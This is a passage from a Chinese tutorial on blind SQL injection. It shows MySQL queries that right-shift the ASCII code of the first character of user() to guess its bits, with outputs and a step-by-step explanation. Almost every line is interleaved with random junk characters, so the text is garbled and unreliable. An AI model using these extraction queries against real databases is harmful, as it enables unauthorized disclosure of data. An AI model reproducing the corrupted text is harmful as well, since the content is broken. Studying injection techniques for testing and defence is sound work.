- X$ I2 \$ X _第二次我们来做6次右偏移来确定前两位 - K1 a- b9 L$ K" c/ e M% k d5 W# b# Y * R& P5 s3 t# l+ ~6 o6 x, [- ^0 u : K. K% g4 m9 b P7 P前两位可能是01或00,即依然可以与0做比较, 8 \7 Y. a" S. Q" O6 q- M b) G% p8 Z8 @2 g( u7 Q8 ] m3 H! j6 J. ]
mysql> select (ascii((substr(user(),1,1))) >> 6)=0; ' K* ?5 S' G8 J O G/ @7 d$ f3 B+ ?/ d! B
+————————————–+( N4 [- z! E- E( G
$ V u- k" V9 _| (ascii((substr(user(),1,1))) >> 6)=0 |* [5 Y e3 B' P- p; E- _
8 Y+ v/ k5 {& x
+————————————–+9 P; R0 `7 M+ X# B3 r
: o& B& m: C1 Z$ j| 0 | 1 D0 m3 w% Z4 a% }9 h- ` `9 G4 z
+————————————–+ # b& a; M3 O7 V # V* H7 D1 z5 ]8 a1 row in set (0.00 sec)/ r9 L ^6 v7 d1 a) {
) u& |$ o/ P% \- Q+ K8 O+ W 3 \) U% o8 l, `- \
8 m+ K M/ B) K8 c结果为0,即第二位为16 p$ B1 x4 a9 [+ k G
' C* Z/ h! b3 {) i+ d# e& L. w
8 s. ~1 E5 F. c4 }3 @" b: ^7 _% ^& I. E0 V i; L& h
开始猜测前三位为010或011 . U6 e. I2 h* {+ J9 i' q( j+ I& T) J& W# j. @8 d; p
$ D. ~2 G) P9 Q
, g+ w M6 h9 j
让我们看看010和011的ascii码是多少! a/ ^6 F4 c$ v3 i
4 M2 I3 G$ g. W: ]( _: g
6 |9 r' s Y8 A: b7 f {6 y- P( j* X' C
; P& B# O: y/ ]! a" D分别查询select b’011′ select b’010′ + d9 g2 e2 Y( b8 V: F; V * }0 C) ?8 ~ S5 @2 J N1 X ! U9 \- |" Q+ J0 I& ?$ y" z. K8 l1 L' t: b" Q. q+ j$ f
获得结果 010 = 2 011 = 3" i1 p; b7 Q3 x- v% C7 v6 D
. f3 Z" _7 m2 L5 Y- l$ Z- O: A
. ~* H" ~: }. x9 y8 A' K0 q 6 J0 Q. _0 ]3 G* G执行如下sql: 2 D$ m! H: l' Y4 s% M" T* Y ! m" G. e% _. p& K7 g) a0 U5 E ( P+ I5 Y* ^0 z( K' |& v1 F; x% Z% V! |
mysql> select (ascii((substr(user(),1,1))) >> 5)=2; # t- W. |, v" L3 j- P9 d1 x/ ?$ E. Q0 p# Y, e
+————————————–+ + B7 @3 t. q* U! M4 Y* \) ?: }; q
| (ascii((substr(user(),1,1))) >> 5)=2 | 7 { x3 j8 ` S4 n% }' s) f, u, N- m' ]3 a: {- v
+————————————–+8 O& Q- w; h2 Z9 ~; t N, [; a
- O4 w" J3 a( s
| 0 | ) |, k8 x4 q0 v# Z/ r- O* t; B$ ~; F3 t( n/ ^
+————————————–+ : y5 ^0 J U' S$ F) K; y( a$ ^' }" N5 c ~% i, ^2 F8 _+ V
即前三位不为010,而是011/ e/ X- G- G. [+ V6 Y
5 v; i! N$ k" \- U* l
! _5 W7 a; r9 C& y